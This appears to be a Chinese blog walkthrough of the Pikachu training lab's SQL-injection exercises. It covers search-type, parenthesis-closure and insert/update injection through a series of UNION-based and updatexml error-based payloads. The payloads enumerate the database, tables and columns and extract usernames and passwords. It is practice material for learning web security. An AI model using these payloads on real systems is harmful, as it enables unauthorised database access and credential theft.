pikachu靶场SQL-Inject中的搜索型注入、xx型注入和“insert/update“注入

搜索型注入

输入in得到以下结果,参数直接拼接在URL中在这里插入图片描述输入in'有报错
在这里插入图片描述
输入in' '正常回显
在这里插入图片描述

可以用单引号闭合,http://ip:9002/vul/sqli/sqli_search.php?name=in&submit=%E6%90%9C%E7%B4%A2找到payload?name=in' &submit=%E6%90%9C%E7%B4%A2后开始注入

  1. 查列数为3
    ?name=in' order by 3-- &submit=%E6%90%9C%E7%B4%A2
    
  2. 查数据库名和版本
    ?name=in' union select database(),version(),1-- &submit=%E6%90%9C%E7%B4%A2
    
  3. 查表名
    ?name=in' union select group_concat(table_name),1,2 from information_schema.tables where table_schema=database()-- &submit=%E6%90%9C%E7%B4%A2
    
  4. 查列名
    ?name=in' union select group_concat(column_name),1,2 from information_schema.columns where table_schema=database()-- &submit=%E6%90%9C%E7%B4%A2
    
  5. 查用户数据
    ?name=in' union select username,password,level from pikachu.users -- &submit=%E6%90%9C%E7%B4%A2
    

xx型注入

输入vince得到以下查询结果,参数也同样直接拼接在URL中
在这里插入图片描述
输入vince'
在这里插入图片描述
输入vince')
在这里插入图片描述
添加注释符vince') -- 后正常回显vince的查询结果,则payload为?name=vince') -- &submit=%E6%9F%A5%E8%AF%A2,同样开始注入

  1. 查列数为2
    ?name=vince') order by 2-- &submit=%E6%90%9C%E7%B4%A2
    
  2. 查数据库名和版本
    ?name=vince') union select database(),version()-- &submit=%E6%90%9C%E7%B4%A2
    
  3. 查表名
    ?name=vince') union select group_concat(table_name),1 from information_schema.tables where table_schema=database()-- &submit=%E6%90%9C%E7%B4%A2
    
  4. 查列名
    ?name=vince') union select group_concat(column_name),1 from information_schema.columns where table_schema=database()-- &submit=%E6%90%9C%E7%B4%A2
    
  5. 查用户数据
    ?name=vince') union select username,password from pikachu.users -- &submit=%E6%90%9C%E7%B4%A2
    

"insert/update"注入

初始界面
在这里插入图片描述

insert注入

尝试万能密码未果,注册
在这里插入图片描述
注册后登录
在这里插入图片描述
再注册一个pika'有报错回显
在这里插入图片描述
抓包分析
在这里插入图片描述
提交值改为username=pika')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
在这里插入图片描述
提交值改为username=pika','123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit回显注册成功的界面,接着使用报错注入使得数据显示在报错页面
构造注入语句

  1. 查数据库名

    username=pika' and updatexml(1,concat(0x7e,(select database()),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
    

    在这里插入图片描述

  2. 查表名

    username=pika' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
    

    有报错
    在这里插入图片描述
    换一个username之后可以查询

    username=111' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
    

    在这里插入图片描述

    但是没有完整显示,使用substr()函数使得返回的结果从第32位开始显示31位长度

    username=111' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
    

    在这里插入图片描述

  3. 查列名

    username=111' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
    

    同样也显示不完整,需要substr()函数

    username=111' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
    
  4. 查用户数据,需要substr()函数查看完整数据

    username=111' and updatexml(1,concat(0x7e,(select group_concat(id,':',username,':',password) from pikachu.users),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
    username=111' and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from pikachu.users),32,31),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
    

update注入

登录后的个人信息编辑界面
在这里插入图片描述
提交后抓包,可以看到提交的内容

sex=123&phonenum=123&add=123&email=123&submit=submit

在其中添加单引号,有报错

sex=123'&phonenum=123&add=123&email=123&submit=submit

在这里插入图片描述
构造payload

sex=123' and ' &phonenum=123&add=123&email=123&submit=submit
  1. 查数据库名
sex=123' and updatexml(1,concat(0x7e,(select database()),0x7e),1)  and '&phonenum=123&add=123&email=123&submit=submit
  1. 查表名(要用到substr()函数来获取完整数据)
sex=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)  and '&phonenum=123&add=123&email=123&submit=submit
  1. 查列名(要用到substr()函数来获取完整数据)
sex=123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)  and '&phonenum=123&add=123&email=123&submit=submit
  1. 查用户数据(要用到substr()函数来获取完整数据)
sex=123' and updatexml(1,concat(0x7e,(select group_concat(id,':',username,':',password) from pikachu.users),0x7e),1) and '&phonenum=123&add=123&email=123&submit=submit
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值